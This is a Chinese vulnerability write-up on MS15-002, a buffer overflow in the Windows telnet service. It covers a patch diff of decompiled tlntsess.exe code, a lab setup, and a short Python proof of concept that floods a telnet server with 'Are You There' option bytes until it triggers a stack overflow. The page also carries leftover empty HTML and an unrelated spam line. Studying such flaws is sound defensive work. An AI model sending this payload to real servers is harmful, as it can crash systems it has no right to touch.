<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/papers/4621

                    0x00 漏洞原理分析


                    MS15-002是微軟telnet服務中的緩沖區溢出漏洞,下面對其原理進行分析并構造POC。

                    telnet服務進程為tlntsvr.exe,針對每一個客戶端連接會相應啟動執行一個tlntsess.exe進程,補丁修補的是tlntsess.exe文件,通過補丁比對,確定漏洞位置如下,函數為

                    #!c++
                    signed int __thiscall CRFCProtocol::ProcessDataReceivedOnSocket(CRFCProtocol *this, unsigned __int32 *a2)
                    

                    enter image description here

                    補丁前,該函數分別為:

                    enter image description here

                    補丁后,該函數為:

                    enter image description here

                    也就是說原來一個緩沖區變成了兩個,調用完

                    #!c++
                    (*(void (__thiscall **)(CRFCProtocol *, unsigned __int8 **, unsigned __int8 **, unsigned __int8))((char *)&off_1011008 + v12))(v2,&v13,&v9,v6)
                    

                    之后,先對緩沖區中的數據長度進行判斷,如果

                    #!c++
                    (unsigned int)(v9 - (unsigned __int8 *)&Src - 1) <= 0x7FE 
                    

                    則判斷目標緩沖區中可容納字符的個數,如果

                    #!c++
                    (unsigned int)((char *)v14 + v7 - (_DWORD)&Dst) >= 0x800
                    

                    則退出,否則執行

                    #!c++
                    memcpy_s(v14, (char *)&v18 - (_BYTE *)v14, &Src, v9 - (unsigned __int8 *)&Src)
                    

                    將數據拷貝到Dst緩沖區。

                    而補丁前,只有一個緩沖區,調用

                    #!c++
                    (*(&off_1011008 + 3 * v7))(v3, &v14, &v13, *v6)
                    

                    之前,先對緩沖區中的數據長度進行判定,只有當v13 - &Src <= 2048時才調用,v13 指向可用的緩沖區頭部,而

                    #!c++
                    (*(&off_1011008 + 3 * v7))(v3, &v14, &v13, *v6)
                    

                    處調用的函數,會對v13的值進行修改,如果調用

                    #!c++
                    void __thiscall CRFCProtocol::DoTxBinary(CRFCProtocol *this, unsigned __int8 **a2, unsigned __int8 **a3, unsigned __int8 a4)
                    

                    函數,可以看到函數修改了參數3的值,即*a3 += 3。

                    enter image description here

                    經過分析可以知道,如果v13 - &Src =2047,則滿足v13 - &Src <= 2048條件,此時如果(*(&off_1011008 + 3 * v7))(v3, &v14, &v13, *v6)調用的是CRFCProtocol::DoTxBinary函數,且執行到了如下指令序列時,顯然導致了緩沖區溢出。

                    #!c++
                    v7 = *a3;
                    *v7 = -1;
                    v7[1] = -3;
                    v7[2] = a4;
                    v7[3] = 0;
                    *a3 += 3;
                    

                    補丁后的版本,采用兩個緩沖區,將臨時緩沖區指針v9傳遞給

                    #!c++
                    (*(void (__thiscall **)(CRFCProtocol *, unsigned __int8 **, unsigned __int8 **, unsigned __int8))((char *)&off_1011008 + v12))(v2,&v13,&v9,v6)
                    

                    函數返回后判斷v9指向的緩沖區中的數據長度,最后判斷目的緩沖區剩余可用空間是否可以容納v9指向的緩沖區中的數據,即對(unsigned int)((char *)v14 + v7 - (_DWORD)&Dst) >= 0x800的判斷。

                    0x01 環境搭建與POC構造


                    Win7上安裝并啟動telnet服務端,執行net user exp 123456 /ADD增加用戶exp,通過net localgroup TelnetClients exp /ADD將該用戶添加至TelnetClients組,這樣就能夠通過telnet客戶端進行登錄了。

                    調試發現

                    #!c++
                    signed int __thiscall CRFCProtocol::ProcessDataReceivedOnSocket(CRFCProtocol *this, unsigned __int32 *a2)
                    

                    a2為接收到的數據的長度,最大為0x400,v6指向接收到的數據,顯然為了觸發溢出,必須在調用((&off_1011008 + 3 * v7))(v3, &v14, &v13, *v6)時,讓數據出現膨脹,保證處理過后的Src緩沖區中的數據長度大于0x800。

                    enter image description here

                    查看(*(&off_1011008 + 3 * v7))(v3, &v14, &v13, *v6)處可以調用的函數,

                    #!c++
                    void __thiscall CRFCProtocol::AreYouThere(CRFCProtocol *this, unsigned __int8 **a2, unsigned __int8 **a3, unsigned __int8 a4)
                    

                    顯然會導致數據膨脹,a4是接收到的數據中的一個字節,執行后,a3指向的緩沖區中將寫入9字節的固定數據。

                    enter image description here

                    通過wireshark截包,簡單對協議進行分析,構造POC如下,讓程序多次執行CRFCProtocol::AreYouThere函數,最終觸發異常。

                    #!python
                    import socket  
                    address = ('192.168.172.152', 23)  
                    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
                    s.connect(address)
                    data = "\xff\xf6" * 0x200
                    s.send(data) 
                    s.recv(512)  
                    s.close()
                    

                    運行poc,在

                    #!c++
                    signed int __thiscall CRFCProtocol::ProcessDataReceivedOnSocket( CRFCProtocol *this, unsigned __int32 *a2)
                    

                    處設置斷點,中斷后可以看到a2 = 0x400,(DWORD)((DWORD*)(this+0x1E40)+ 0x16c8)指向接收到得數據。

                    enter image description here

                    在函數返回前設置斷點,執行之后,可以看到__security_check_cookie檢測到了棧溢出,觸發了異常,中斷到調試器。

                    enter image description here

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频